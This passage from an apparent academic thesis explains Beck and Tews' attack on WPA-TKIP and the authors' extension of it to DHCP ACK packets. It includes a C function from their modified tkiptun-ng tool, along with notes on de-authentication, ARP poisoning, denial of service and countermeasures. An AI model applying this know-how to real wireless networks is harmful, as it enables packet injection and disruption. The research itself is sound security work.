computationally intensive, but this operation can be done on Graphical
Processing Unit (GPU) hardware. It is also possible to compute the PMKs
beforehand or download pre-computed databases from the Internet. With
one high-end Nvidia GeForce 295 GTX, an attacker can compute almost
20,000 PMKs per second by using the open-source software Pyrit
6
. By using
this approach an attacker can achieve a performance increase in the range
of three orders of magnitude, making even secure passwords vulnerable.
6
The Pyrit web page can be found at: http://code.google.com/p/pyrit/
50 Background
Figure 2.21: Aircrack-ng successfully cracking a WPA PSK
2.9 IEEE 802.11e - QoS/WMM
The IEEE 802.11e amendment incorporates a set of Quality of Service (QoS)
enhancements for wireless networks in the 802.11 family. The amendment
has been added to the IEEE 802.11 2007 standard [5]. The WiFi Alliance
has made a subset of this amendment, which they have named WiFi Mul-
tiMedia (WMM) [8]. QoS needs to be enabled for the attack on TKIP to
work. Most of the newer APs support QoS, either through the WiFi Multi-
Media subset or the full 802.11e amendment. This section will not go into
detail of the entire 802.11e or WMM specification, but only those details
that are relevant to the attack on TKIP, which is described in Chapter 3.
The 802.11e QoS feature that is exploited in the attack against TKIP is
the use of different channels for traffic with various QoS needs. In total eight
such channels are defined in the standard, and the channels are identified
by the Traffic Identifier (TID) field in the QoS header [10]. The channels
range from lowest priority on TID 0, through highest priority on TID 7.
Actually, the TID is represented by 4 bits in the QoS header, allowing 16
different values to be set. This means that some implementations have a
total of 16 different QoS channels. WMM on the other hand only offers four
different QoS channels. This is because it treats the first eight TIDs as four
channels, and does not define TID 8 to 15 [8]. TID 0 and 3 are used for
Best Effort, 1 and 2 for Background, 4 and 5 for Video and 6 and 7 for Voice.
Address Resolution Protocol (ARP) 51
TKIP makes use of a TKIP Sequence Counter (TSC) to prevent replay
attacks (Details on TKIP are presented in Section 2.6). The TSC is in-
creased for every packet that is received correctly, and packets that have a
TSC value lower or equal to the previous packet are discarded.
QoS traffic also use the TKIP TSC, but every channel has a separate
counter, this means that every QoS channel has a different TSC. This would
mean that a packet could be retransmitted on another channel where this
counter is lower. In addition, most networks send all the traffic on channel
0, which means that the TSC is most probably lower on the other available
channels. This allows an attacker to execute a chopchop like attack on the
network, by using a QoS channel where the TSC is still lower. This attack
is explained in Chapter 3.
2.10 Address Resolution Protocol (ARP)
The current attack on TKIP does only work on ARP packets. For that
reason we dedicate this Section to explain ARP in greater detail. This
section will first give a general description of what ARP is and what it is
used for, then an explanation of the ARP packet structure is given. Finally
some attacks and exploitable properties of ARP are discussed.
2.10.1 Protocol Overview
The Address Resolution Protocol (ARP) is an important part of computer
networks, and is defined in RFC826 [25]. ARP is the protocol that is used
to obtain the Link Layer address of a host when only the Network Layer
address of that host is known. The most common use of ARP is to acquire
the corresponding MAC address of a given IPv4 address.
Another use of ARP is the so-called Gratuitous ARP, or ARP Announce-
ment. These messages are used to update the ARP caches of other machines
on the network, and do not require a reply. A Gratuitous ARP contains a
valid Link Layer- and Network Layer address of the host sending it. It is
also possible to use ARP another way, to obtain the client’s Network Layer
address given the Link Layer address. This is called Reverse ARP (RARP).
However, RARP has been made obsolete by the introduction of the Dynamic
Host Configuration Protocol (DHCP), and is very rarely used today. ARP
is not used in IPv6 networks, as these networks use the Neighbor Discovery
Protocol (NDP) [24].
When sending an IP packet on a network, the sending host will build
an IP packet with the IP address set in the Destination address field. But
when the packet is sent to the Ethernet layer, there is no knowledge of which
52 Background
MAC address that IP address corresponds to. The host will then send an
ARP request to obtain the MAC address of the destination IP [30].
AP
Station B
IP: 192.168.1.123
MAC: B2:65:11:B1:F1:89
Station A
IP: 192.168.1.112
MAC: C1:BE:AA:34:23:12
Figure 2.22: A wireless network with two stations
As an example, say we have a wireless network with two stations (i.e.
clients), A and B, as can be seen in Figure 2.22. Client A with IP address
192.168.1.112, wants to send an IP packet to client B but does not know
the MAC address of that client. Client A will then send an ARP Request to
the broadcast MAC address (FF:FF:FF:FF:FF:FF), requesting the MAC
address of B. Simply put, the ARP Request will contain this message: Who
has 192.168.1.123? Tell 192.168.1.112. The AP will then relay this message
to all the clients of the local network. When B receives the message it will
reply to Client A with an ARP Reply containing its own MAC address.
Client A now has the needed information to send an IP packet to Client B.
Client A will cache this address, so that there is no need to send an ARP
request for every packet. It is also possible for Client B to cache the request,
which contains the IP and MAC address of Client A.
2.10.2 ARP Packet Structure
The packet structure of an ARP packet can be seen in Table 2.2. This is a
very small packet, only 28 bytes long without the Link Layer header. The
first two fields specify which Link Layer and Network Layer protocol that is
used, respectively. For Ethernet the HTYPE field is set to 0x0001, and for
IP the PTYPE is set to 0x0800.
The next two fields, HLEN and PLEN, indicate the length of the Link
Layer and Network Layer addresses used. For Ethernet this is 6 bytes and
for IP 4 bytes. The next field, OPER, specifies the type of ARP operation
the message contains: 1 for Request, 2 for Reply, 3 for RARP request and
4 for RARP reply.
The next fields contain the Sender Hardware- and Protocol Address,
SHA and SPA. Which, for a typical network, are the Ethernet MAC address
Address Resolution Protocol (ARP) 53
+ Bits 0 - 7 8 - 15 16 - 31
0 Hw type (HTYPE) Protocol type (PTYPE)
32 Hw length (HLEN) Protocol length (PLEN) Operation (OPER)
64 Sender hw addr (SHA) (first 32 bits)
96 Sender hw addr (SHA) (last 16 bits) Sender protocol addr (SPA) (first 16 bits)
128 Sender protocol addr (SPA) (last 16 bits) Target hw addr (THA) (first 16 bits)
160 Target hw addr (THA) (last 32 bits)
192 Target protocol addr (TPA)
Table 2.2: ARP Packet Structure
and the IP address of the sender. The Target Hardware Address (THA) field
contains the target’s MAC address. This is left empty in an ARP request.
The last field, TPA, will contain the IP address being requested [25].
2.10.3 Attacks on ARP
The most common attack against ARP is so called ARP Spoofing or ARP
Poisoning (as illustrated in Figure 2.23). An ARP poisoning attack is exe-
cuted by sending fake ARP packets to a host on the network. This is possible
because there is no inherent protection against such attacks implemented in
ARP. A fake ARP reply or Gratuitous ARP will cause the victim to update
the ARP cache with the faked MAC address. By doing this, an attacker can
associate his own MAC address with another IP address, and in that way
listen to the traffic intended for that IP. The attacker can simply retransmit
the received data to the correct destination or actually modifying the data
to perform a Man-in-the-Middle attack. It is also possible to mount a DoS
attack by associating the IP address to a non-existing MAC address. The
most effective IP address to target for these attacks is the default gateway
[34].
The use of ARP in networks is also exploited in other ways. One prop-
erty of ARP is that ARP requests are sent to the broadcast address of the
network. This means that every client on that network will receive it. It
also means that most likely a given ARP request will produce an ARP re-
ply. This property has been exploited to generate large amounts of traffic
on encrypted wireless networks. Because of ARP packet’s characteristic
length, they are easily recognized, and can therefore be captured and re-
played to generate traffic. This traffic could then be captured and used in
cryptographic attacks against WEP as described in Section 2.5.
54 Background
AP
BSSID: 00:18:39:c6:4f:94
IP: 192.168.1.1
Alice
MAC: 00:1c:b3:b5:71:43
IP: 192.168.1.101
Bob
MAC: 00:23:12:02:e1:f9
IP: 192.168.1.100
Mallory
Spoofed MAC: 00:18:39:c6:4f:94
IP: N/A
1. ARP: 192.168.1.1 is at 00:1c:b3:b5:71:43 2. Ping 192.168.1.1
Figure 2.23: ARP poisoning attack - The attacker injects a fake ARP reply to
corrupt the STA’s ARP cache
Another property of encrypted ARP packets is that very little plaintext is
actually unknown to the attacker. As the Ethernet header is sent in the clear,
the only unknown data in an ARP request is the SPA and TPA (Sender- and
Target Protocol Address) fields. And these fields are quite easily guessed as
most networks use a small set of local IP addresses. Additional encryption
information, such as integrity checks could also be encrypted and is therefore
unknown to an attacker as well. Examples of this are the WEP ICV and the
TKIP MIC. This property, together with the characteristic length, is used
to perform the attack on TKIP. The details of this attack are described in
Chapter 3.
2.11 Dynamic Host Configuration Protocol (DHCP)
The Dynamic Host Configuration Protocol (DHCP) is used in almost all IP
networks. Properties of this protocol are exploited in our improved attack
on TKIP, which is presented in Chapter 4. This section will give an overview
of the DHCP protocol and a more thorough description of its packet struc-
ture, as this is relevant for our improved attack.
DHCP is used to dynamically configure IP network parameters on clients
in a local network. DHCP is based on a Server-Client model, where a client
requests network parameters from a DHCP Server. The DHCP Server typ-
ically provides the client with IP Address, Subnet Mask, Gateway IP, DNS
Server and other parameters required for the client to function on the net-
work. DHCP for IPv4 networks is defined in RFC 2131 [15].
Dynamic Host Configuration Protocol (DHCP) 55
2.11.1 Overview
Acquiring an IP address is the first operation a client must perform when
connected to an IP network. This is typically done by using a pre-configured
static IP, or by using DHCP. When an IP address is acquired, a client typ-
ically start sending ARP queries in order to map IP addresses to MAC
addresses (ARP was explained in Section 2.10).
As an example, a DHCP transaction can consist of four basic phases:
DHCP-Discovery, -Offer, -Request and -Acknowledgement, as can be seen
in Figure 2.24. A client will start by sending a Discovery message to the
broadcast IP address. This message is sent, as the name implies, to discover
any DHCP servers on the network. The Discover message can also contain
the client’s last-known IP address.
STA AP
(BROADCAST)
#3: DHCP Offer
#4: DHCP Request
#5: DHCP ACK
#2: DHCP Discover
Figure 2.24: DHCP sequence diagram
A DHCP server will reply with a DHCP Offer message to the client. This
message contains the IP address the server is offering to the client, along
with some other network parameters. The DHCP server will reserve this
address in its address pool to the client.
Since it is possible that a client receives several DHCP Offers, a client
will respond to the DHCP Offer with a DHCP Request. This message is
also sent to the broadcast address. The message contains the Transaction ID
(XID) from the DHCP Offer that the client has accepted. If a DHCP server
receives a DHCP Offer from a client with a mismatching Transaction ID, the
server will release the reserved address previously offered. The server with
the matching Transaction ID will respond with a DHCP Acknowledgement
confirming the address lease.
DHCP can function in other ways as well. For instance, it is also used
56 Background
to renew or release an IP address lease, by using the REQUEST and RE-
LEASE messages respectively. A client can also request additional network
parameters by sending a DHCP INFORM message. Servers can also decline
or inform clients that their network parameters are wrong. This is signaled
through the DHCP DECLINE and NACK messages.
2.11.2 DHCP Packet Structure
All DHCP packets are sent over UDP and IP, and share the same basic struc-
ture. The structure of DHCP packets can be seen in Figure 2.25. The UDP
and IP Header are not included in this figure. All DHCP client messages
are sent to the IP broadcast address with source address set to 0.0.0.0. The
source and destination UDP ports are set to 68 and 67 respectively. DHCP
server messages are sent to unicast addresses with the source set to the
DHCP server’s IP address. For these messages the source and destination
UDP ports are set to 67 and 68 respectively.
OP (1) HTYPE (1) HLEN (1) HOPS (1)
XID (4)
CIADDR (4)
SECS (2) FLAGS (2)
YIADDR (4)
SIADDR (4)
GIADDR (4)
CHADDR (16)
SNAME (64)
FILE (128)
OPTIONS (variable)
Figure 2.25: DHCP packet structure [15]
The first byte in a DHCP message is the OP (Operation) byte, which is
set to 1 for a request type message (Client messages) and 2 for a reply
(Server messages). The next two bytes are the HTYPE (Hardware Type)
and HLEN (Hardware Length). These are set to 1 and 6 for Ethernet. The
Dynamic Host Configuration Protocol (DHCP) 57
fourth byte is HOPS, which is always set to 0, except for when DHCP is
used through a relay agent.
The XID (Transaction ID) consists of four bytes and is unique for every
DHCP transaction. The next two bytes, SECS, indicate how many seconds
have elapsed since the client first started the process of address acquisition.
This field is set to 0 for the first DHCP message. Only the first bit of the
FLAGS field is used, the other seven are reserved for future use and must
be zero (MBZ). This bit is labeled BROADCAST, and is set to indicate
if the client does not accept IP unicast messages before TCP/IP has been
completely configured.
The next four fields are occupied with four IP addresses. CIADDR
(Client IP Address) is only set if the client already has an IP address and
wishes to renew this. YIADDR (Your (Client) IP Address) is set to the
IP address offered to the client by the server. SIADDR (Next Server IP
Address) is set to the next server to be contacted by the client, typically the
same server. GIADDR (Relay Agent IP Address) is set when using DHCP
through a relay agent.
CHADDR (Client Hardware Address) is a 16-byte field. The ethernet
MAC address being 6 bytes, the remaining 10 bytes of this field is set to zero.
The SNAME (Server Host Name) and FILE (Boot File Name) are always
set to zero. These to fields exist because of legacy from the old BOOTP
(Bootstrap Protocol) protocol. This means that after the 6-byte CHADDR,
202 bytes of zeroes follow.
The OPTIONS field can contain different options. This field always
starts with a fixed four-byte value called the Magic Cookie. The value of
these bytes is 0x63825363. After this cookie the actual Options follow. An
OPTION field is consists of three fields: Option, Length and Value. The
Option field is one byte and indicates which type of option that follows.
The Length is also one byte and indicates the length (in bytes) of the Value
field. Finally the Value field contains the value of the option.
There exist several different option types, but for DHCP only one field
must be included. This is the DHCP Message Type option, which is defined
by Type 53 and Length 1. The one byte Value field indicates which, out of
eight, DHCP Message Type the message contains.
Other option fields include lease time, host name, DNS servers and oth-
ers. And the options that are used differ between implementations. An End
Option, indicated by 0xFF, ends the option fields. The rest of the packet is
also sometimes padded with a number of zero bytes.
58 Background
What is interesting from a security standpoint is that there are very few
unknown bytes. If the DHCP format and IP addresses used are known for an
encrypted packet, the only unknown plaintext is the four-byte Transaction
ID. This property of DHCP is exploited in our improved attack on TKIP,
detailed in Chapter 4.
Chapter 3
Beck and Tews’ Attack on TKIP
Until recently, TKIP has been considered to be a secure alternative to WEP.
As explained in Section 2.6, TKIP is built around WEP to fix its weaknesses.
In November 2008, Martin Beck and Erik Tews released a paper titled Prac-
tical Attacks Against WEP and WPA [10], together with tkiptun-ng, a new
tool in the Aircrack-ng suite [7]. In addition to an enhanced version of the
PTW attack, they released a modified version of the Chopchop attack di-
rected against the TKIP protocol as well. This chapter will explain Beck
and Tews’s new attack on TKIP in detail, as well as provide a basis for
understanding how this attack may be further extended and used in real
world attack scenarios.
3.1 Requirements
In order to mount the attack on TKIP, a set of conditions must be met.
This section will explain the different requirements of the attack and why
they are required for the attack to succeed.
3.1.1 QoS/WMM
TKIP uses a sequence counter (TSC) to prevent replay attacks. This means
that if an attacker would try to replay a captured packet, the AP or the STA
would invalidate it. For an attacker, this basically means that an attack like
e.g. the Chopchop attack would not work, as it relies on the lack of replay
protection in the network.
Beck and Tews discovered that in networks with Quality of Service
(QoS)
1
enabled, it is possible to mount a Chopchop-like attack on one of
the QoS channels different from the one that is used for regular traffic. As
1
QoS is sometimes referred to as WiFi MultiMedia (WMM) in wireless networks
59
60 Beck and Tews’ Attack on TKIP
explained in Section 2.9, on a QoS enabled network, each QoS channel has
its own TSC. By using the fact that the TSC only increments if a valid
packet is received, and that packets are accepted only if the TSC is higher
than the last received packet’s TSC, we see that it would now be possible
to inject packets captured on one channel into another QoS channel with a
lower TSC. In most QoS enabled networks, regular data is sent on channel
0, meaning that all other channels most likely have a lower TSC, and as a
result, can be vulnerable to a Chopchop like attack.
3.1.2 Key Renewal Interval
The Key Renewal Interval in TKIP defines the time interval in which a
Pairwise Temporal Key (PTK) is valid. At the time of key renewal, a new
PTK is generated from the PMK. For an attacker, this means that if he
somehow would be able to recover the PTK, it would only be valid within
the specified time interval. For the same reason, any keystream captured
will only be valid for as long as the PTK is not renewed.
As we shall soon see, the attack on TKIP works by performing a modi-
fied Chopchop attack, which due to the MIC countermeasures (described in
Section 2.6.7), needs to wait one minute between each byte chopped. This
means that the attack will be bound to use more time than the original
Chopchop attack on WEP. Thus, if a key renewal occurs while the attack is
being executed, the attack will fail and it must start over again. Hence, the
key renewal interval needs to be longer than the time the attack needs to
finish. The IEEE 802.11i [5] does not define this interval. However, it is com-
monly set to 3600 seconds (one hour) on most APs, which is approximately
four times longer than the attack needs to succeed.
3.2 The Attack in Details
It is important to understand that the attack on TKIP is not a key recovery
attack and is therefore not to be compared with the FMS or the PTW at-
tack against WEP. When the attack hit the news in November 2008, there
was much misinterpretation of the severeness of the attack
2
. All around the
Internet on blogs and forums, one could read that TKIP was broken in the
same way that WEP was (i.e. a key recovery attack). This is not the case.
This section will give a detailed description on what the attack does and
how it operates.
2
An example of such misinterpretation can be found at http://www.pcworld.com/
article/153396/
The Attack in Details 61
The attack on TKIP enables the attacker to decrypt an AP-to-STA ARP
request. By doing this, the attacker will obtain the keystream and the MIC
key for that packet, which can be used to create and inject custom AP-to-
STA packets into the network.
The attack consists of four different stages:
• Client de-authentication
• Modified Chopchop attack
• Guessing and validating the remains of the packet
• Reversing the MICHAEL algorithm
An overview of how the attack operates is given in Figure 3.1. This flowchart
will be further explained in the following sections.
Received MIC
Failure Report?
Capture ARP packet
Chop next byte
Guess byte
Number of
guesses < 256?
Wait 60 seconds
Yes
No
Yes
No
Wait 60 seconds
Done
chopping ICV
and MIC?
No
Yes
Guess IP
addresses
ICV correct?
No
Reverse the MIC key
Yes
DONE
START
De-authenticate a STA
Figure 3.1: A flowchart of the attack on TKIP
62 Beck and Tews’ Attack on TKIP
3.2.1 Client De-Authentication
Before the attack can start, an associated STA is de-authenticated. De-
authenticating a STA will force it to reconnect to the AP and perform an
EAPOL handshake, from which a new set of keys are produced. Upon per-
forming an EAPOL handshake, several control packets such as ARP and
DHCP are exchanged between the STA and AP to reconfigure and update
the network parameters. At this point, the attacker will listen for ARP pack-
ets coming from the AP. The reason for choosing an ARP packet (described
in Section 2.10) is because it is easy to detect, due to its characteristically
small size. Additionally, most of the data in an ARP packet can be predicted
or guessed.
3.2.2 Modified Chopchop Attack
Once an ARP packet from the AP to STA is captured, a modified version of
the Chopchop attack can take place. The reason for using a modified version
and not the standard Chopchop attack has to do with the MIC countermea-
sures. The MIC countermeasures will cause the AP to shut down all TKIP
traffic for 60 seconds followed by a key renewal. To understand how this is
avoided, we must recall the requirements for activating the MIC counter-
measures from Section 2.6.7. The IEEE 802.11i [5] argues that by checking
the ICV before the MIC makes it harder to perform a countermeasure-based
DoS attack. For that reason, the MIC countermeasures are activated only
if the ICV is correct while the MIC is incorrect.
The modified Chopchop attack works by chopping off the last byte of
the packet, the same way that the conventional Chopchop attack works.
In contrast to the regular Chopchop attack where traffic is directed to the
AP, the modified Chopchop attack acts as an AP sending data to a STA.
The reason for this is because the STAs are the only entities that send MIC
failure report frames. The receiver will silently discard any packet that has
an incorrect ICV and incorrect MIC. However, when the correct byte is
guessed, the ICV of that packet will be correct, while the MIC will be incor-
rect. This will cause the STA to send a MIC failure report, indicating that
the last guess was correct. As two MIC failure reports within a minute will
trigger the MIC countermeasures in the AP, the attacker would need to wait
for 60 seconds before chopping the next byte. The basic math behind the
modified Chopchop attack is the same as for the regular Chopchop attack
as explained in Section 2.5.5.
Due to the TSC (TKIP Sequence Counter), the modified Chopchop at-
tack must be executed on another QoS channel with a lower TSC. As ex-
plained in Section 3.1.1, the fact that the TSC is an individual value for each
The Attack in Details 63
QoS channel, makes it possible to perform a modified Chopchop attack on
another QoS channel than the one the original packet was captured from.
The attack also depends on the behavior of the TSC and how it is updated.
If the TSC for the QoS channel where the Chopchop attack is conducted
increases to a value higher than the captured packet, the attack will fail.
However, the TSC is only updated if and only if the packet was correctly
received. For each wrong guess during the modified Chopchop attack, both
the ICV and the MIC will be incorrect. In this case, the TSC will not be
updated. When the attacker guesses the correct value for the chopped byte,
the MIC will still be incorrect, and for that reason the TSC will not be
updated at this point.
3.2.3 Guessing The Remaining Bytes
As explained in the section above, the modified Chopchop attack must wait
60 seconds between every chopped byte to avoid the MIC countermeasures.
This introduces a significant limitation on the size of the packets that can
be chopped. Within a standard key interval of 60 minutes, at most 60 bytes
of data would be possible to decrypt through a Chopchop attack. Beck and
Tews [10] figured out that on a local network, an ARP packet contains al-
most no unknown data. Recalling from Section 2.10, we explained that the
ARP protocol maps IP addresses to physical MAC addresses. Since MAC
addresses are always sent unencrypted as a part of the 802.11 headers, the
only unknown parts of the ARP packet are the IP addresses.
As it turns out, the IP addresses on a local area network are within a
predictable range. On the local network, IP addresses are either on the form
192.168.0.0/16, 176.16.0.0/12 or 10.0.0.0/8. Although this actually sums up
to more than 17 million IP addresses, it is possible with some educated
guessing to guess the value of these in a relatively short amount of time. On
a local network, the most common used IP addresses are 192.168.0.0/23 and
10.0.0.0/23. By prioritizing the guessing algorithm to the most popular IP
addresses, it is possible to guess and verify the content of the ARP packet
in a matter of milliseconds. A screenshot of a successful decryption of an
ARP packet using the implementation of the attack, tkiptun-ng, is shown
in Figure 3.2. Here, we can see that after performing a modified Chopchop
attack on 26% of the packet (i.e. the ICV and the MIC), the rest of the
packet is guessed and then verified by calculating the CRC-32 value and
comparing it to the already chopchopped ICV value.
3.2.4 Reversing the MICHAEL Algorithm
In order to be able to generate custom content to inject back into the net-
work, the attacker needs to know the MIC key. The MICHAEL algorithm
64 Beck and Tews’ Attack on TKIP
was never designed to be a one-way function with the same strength as a
cryptographic hash function. In fact, it turns out that it is possible, given
the MIC and plaintext, to reverse the algorithm as fast as one can do a
forward calculation. Thus, by reversing the MIC algorithm, the MIC key
can easily be retrieved.
Figure 3.2: Tkiptun-ng successfully decrypts an ARP packet
3.3 Limitations
As previously mentioned, the attack on TKIP is not a key recovery at-
tack. The attack is able to recover the keystream and the MIC key of an
ARP packet after performing a modified version of the Chopchop attack
and guessing the remains of the packet. Given the keystream and the MIC
key, the attacker can create custom packets, calculate the MIC, encrypt the
packet and inject it back into the network. In order to inject a packet, the
Application Areas 65
packet must be smaller or the same size as the obtained keystream. Since
ARP packets are one of the smallest packets used, this greatly limits the
application areas of this attack.
Furthermore, there are limitations on how many packets can be injected
and in which direction. As there are 4-16
3
QoS channels from which the
first (i.e. channel 0) is used to send regular data, only the remaining chan-
nels will, with high probability, have a TSC which is lower than the TSC of
the packet captured on channel 0. Since the TSC is used as one of many
inputs when producing the keystream (see Figure 2.19), the TSC cannot be
changed after the keystream has been obtained. Hence, only a maximum of
3-15 packets can be injected, one on each of the remaining QoS channels.
Additionally, packets can only be injected in one direction. This has to do
with the fact that MIC failure reports only are sent from STAs. The attack
can therefore only recover AP-to-STA keystreams, thereby only allowing the
attacker to inject packets to the STA.
The attack is limited to networks with QoS/WMM enabled. APs that
have QoS turned off, will be immune against the current implementation
of the attack. Even so, Beck and Tews [10] states that the attack seems
to be possible on non-QoS enabled networks as well. The challenge is to
prevent the STA from receiving the data the attacker chooses to Chopchop.
In addition, the STA must be disconnected during the attack to prevent the
TSC to increase. This attack mode was not implemented in the first version
of the tkiptun-ng tool, and cannot be verified at this point.
3.4 Application Areas
As described in the previous section, there are several limitations to this at-
tack. The attack on TKIP cannot be used to decrypt and read the contents
of the communication flow. Instead, it is limited to injection of 3-15 pack-
ets, one on each of the other QoS channels. This means that rather than
exploiting the confidentiality of the network, the attack could be used to
attack control information. Examples of such signaling protocols are ARP,
DHCP, ICMP and DNS. However, as most of the mentioned protocols use
packets larger than ARP, the attack is only limited to affect the ARP pro-
tocol. Additionally, Beck and Tews mention that an attack can trigger IDS
systems at the IP layer [10], although details on this are not provided.
3
This depends on how QoS is implemented in the network, see Section 2.9
66 Beck and Tews’ Attack on TKIP
3.4.1 ARP Poisoning
An example of an attack on the ARP protocol, is an ARP poisoning attack
as described in Section 2.10.3. Upon performing an ARP poisoning attack,
the attacker could corrupt the ARP cache, which is a vital part of the routing
and addressing on a network. This will not break the confidentiality of the
network, but could cause much confusion in the routing. A more detailed
description of our implementation of an ARP poisoning attack can be found
in Section 6.3.
3.4.2 Denial-of-Service
Using the modified Chopchop attack, one could intentionally enforce the
MIC countermeasures, which will make the AP lock out all STAs and force
a key renewal. It would be trivial to implement a Denial-of-Service attack
based on this exploit. Section 6.4 describes how we modified the existing
code to act as a DoS attack on the wireless network.
3.5 Countermeasures
There are several ways one could avoid this new attack on TKIP. The best
and most obvious solution would be to migrate away from TKIP and start
using the more secure solution, CCMP. Rather than trying to fix the weak-
nesses of another protocol, CCMP was designed bottom-up to be a secure
alternative, though not backwards compatible to WEP. However, this may
not be an option for older equipment that was hardware implemented to
only support WEP and TKIP. CCMP is briefly described in Section 2.7.
Another option is to fix or modify TKIP to prevent the attack from ever
happening. In Section 3.1 several requirements for the attack to succeed
were mentioned. One solution would be to simply disable QoS in the net-
work, as this is one of these requirements. Another would be to shorten the
key renewal interval, as this interval defines how long a PTK is valid. The
attack relies entirely on this interval being larger than the time the attack
needs to succeed. Thus, by reducing this interval to less than 10 minutes,
the attack would be impractical. Beck and Tews [10] suggest using an even
shorter interval of 120 seconds or less. By doing this, the attacker would
not even be able to decrypt the entire ICV.
The attack also relies on the MIC failure report frames in order to detect
when the correct byte was guessed during the modified Chopchop attack.
However, as the MIC failure report is sent from the STAs rather than the AP,
it would require all STAs to implement this countermeasure. Beck and Tews
[32] pointed out in their latest paper, that the OpenBSD team already has
Countermeasures 67
implemented a countermeasure for this attack in their client stack. The way
it functions, is to refrain from sending the MIC failure report frames until
two MIC failures have occurred. By doing this, the attacker cannot use the
MIC failure report frames to detect when he guessed correctly. At the same
time, MIC countermeasures will continue to work as usual, because when the
second MIC failure occur, the STA will send two MIC failure report frames
to the AP, which will make the AP activate the MIC countermeasures.
68 Beck and Tews’ Attack on TKIP
Chapter 4
An Improved Attack on TKIP
The current attack by Beck and Tews [10] is limited to decrypt AP-to-STA
ARP packets. Since ARP packets are some of the smallest packets used
in a network, the obtained keystream is correspondingly small and thus
limited to injection of ARP packets only. In this chapter we will present
a way of decrypting larger DHCP ACK packets, which typically are in the
range of 330 to 584 bytes in size. This will enable an attacker to perform
more sophisticated attacks as he is no longer limited to injection of ARP
packets only. This improved attack is not a re-implementation, but rather
an extension of the code of the tkiptun-ng tool. We must emphasize that
it is still only meant as a proof-of-concept attack and is not designed to
work with a generic set of equipment. The attack is still only limited to
injection of AP-to-STA packets, the enhancement being the injection of a
wider variety of much larger packets.
4.1 The DHCP ACK Message
As described in Section 2.11, upon connecting to a new network, clients will
typically send DHCP and ARP requests to configure the network. DHCP
ACK messages are sent as confirmations to a DHCP request. When a STA
has been disconnected from the network (i.e. de-authenticated by the at-
tacker) and tries to reconnect to the network, it will typically send a DHCP
request for the same IP address it was previously assigned. In most cases,
the AP will then respond with a DHCP ACK to acknowledge the request.
Looking into these messages, we discovered that the DHCP ACK message
contains almost no unknown data, even though it can be up to 584 bytes in
size. The reason for this is the extensive use of 0-padding, which in many
cases make up most of the data in the packet.
Upon further investigation of the DHCP ACK, we determined the for-
69
70 An Improved Attack on TKIP
mat of these messages to be manufacturer specific. This means that e.g.,
a Linksys router will respond with the same format of this message, while
another manufacturer may respond differently. It is, however, possible to
overcome this problem by looking at the BSSID of the AP. The BSSID yields
information about the manufacturer, which in combination with a database
on how different router manufacturers format their DHCP ACKs, could give
a good indication of the format, length, options and IP ranges of packets
coming from a specific AP/router.
Given that we know the manufacturer specific format for the DHCP
ACK, the only bytes that cannot be determined are the IP addresses, the
Transaction ID, the MIC and the ICV. By running Beck and Tews’ attack
[10] on an ARP packet first, we would obtain the IP addresses of the STA
and AP, which could be further used as known plaintext in the DHCP ACK
packet. Now, we have a remaining 16 unknown bytes, as illustrated in Fig-
ure 4.1.
IEEE 802.11
34 bytes
Data
330 - 584 bytes
MIC
8 bytes
ICV
4 bytes
Encrypted
Trans.
ID
4 bytes
MIC
8 bytes
ICV
4 bytes
Unknown bytes
Figure 4.1: An encrypted DHCP ACK packet with 16 unknown bytes
4.2 The Attack in Details
The improved attack is an extension of the tkiptun-ng tool, which is a part of
the Aircrack-ng suite [7]. The major difference between the original attack
and our extension, is that while the entire data part of an ARP packet can
be guessed, only parts of a DHCP ACK packet can be guessed, as the DHCP
ACK packet contains an unknown Transaction ID field in the middle of the
packet. As this field is 32 bits in length, guessing this field is infeasible. This
means that rather than performing a modified Chopchop attack followed by
The Attack in Details 71
guessing the remains of the packet, we must be able to continue a modified
Chopchop attack after inserting some bytes of known plaintext. In order
to be able to continue the Chopchop attack after inserting known bytes, we
must simulate a modified Chopchop attack in order to keep the state of the
chopped array up to date. At this point, since we know the bytes, we can
skip the communication with the STA and the 60-second waiting delay be-
tween each packet. This simulate_chopchop function demands very little
processing power, and completes in a negligible amount of time. Addition-
ally, the IP and UDP header checksums must be calculated and inserted at
the appropriate positions.
Below is the simulate_chopchop function, which is an essential part of
the extended attack. It allows the attacker to insert bytes of known plaintext
into the chopped array. The chopped array contains the ciphertext of the
captured packet up to the previously chopped byte. The remaining parts of
the chopped array contain the keystream. The srcbuf array contains the
entire captured packet, i.e. the ciphertext. data_end is the index of the
previously chopped byte. Since we know the next plaintext byte, it is not
necessary to validate the guess. Hence, this function merely assumes that a
correct guess has been made, and updates the arrays the same way as when
a regular correct guess has been made.
int simulate_chopchop(uchar *chopped, int plaintext, int data_end) {
int guess = chopped[data_end - 1] ^ srcbuf[data_end - 1] ^ plaintext;
chopped[data_end - 1] ^= guess;
chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
printf( "\r[Simulate Chopchop] Offset %4d | xor = %02X | pt = %02X\n",
data_end - 1,
chopped[data_end - 1],
chopped[data_end - 1] ^ srcbuf[data_end - 1]);
data_end--;
return data_end;
}
Figure 4.2 shows a flowchart explaining how our improved attack on
TKIP operates. Also note that this is a simplified flowchart, and the cal-
culations of the different header checksums are not a part of this flowchart.
The Simulate chopchop step can be considered to perform these calculations.
72 An Improved Attack on TKIP
Received MIC
Failure Report?
Capture DHCP ACK packet
Chop next byte
Guess byte
Number of
guesses < 256?
Wait 60 seconds
Yes
No
Yes
No
Wait 60 seconds
Is next byte
known?
No
Yes
Simulate
chopchop
START
De-authenticate a STA
Reached end
of packet?
No
Verify ICV
Reverse the MIC key
DONE
Yes
Figure 4.2: A flowchart of our improved attack on TKIP
Application Areas 73
4.3 Application Areas
The improved attack is able to decrypt a DHCP ACK packet from a Linksys
WRT54GL Wireless router. Although the packet has a size of 596 bytes,
only 16 bytes (ICV + MIC + Transaction ID) are unknown. Thus, the at-
tacker is able to recover 596 bytes of keystream within around 18-19 minutes,
in an optimal setting. However, a real world scenario, this will probably take
even longer to complete. Additionally, the original ARP attack by Beck and
Tews must first be run to get information about the IP addresses of the AP
and the STA. In total, these two attacks can be estimated to take around
40-45 minutes to complete, 30-35 minutes in an optimal environment. On
an AP with a key renewal interval set to 60 minutes, the attacker would
then have 15-25 minutes until the keystream and MIC key become invalid.
596 bytes of keystream are significantly more (12.4x more) than the 48
bytes of keystream recovered from the original attack by Beck and Tews [10].
While their attack was limited to inject ARP packets only, with 596 bytes
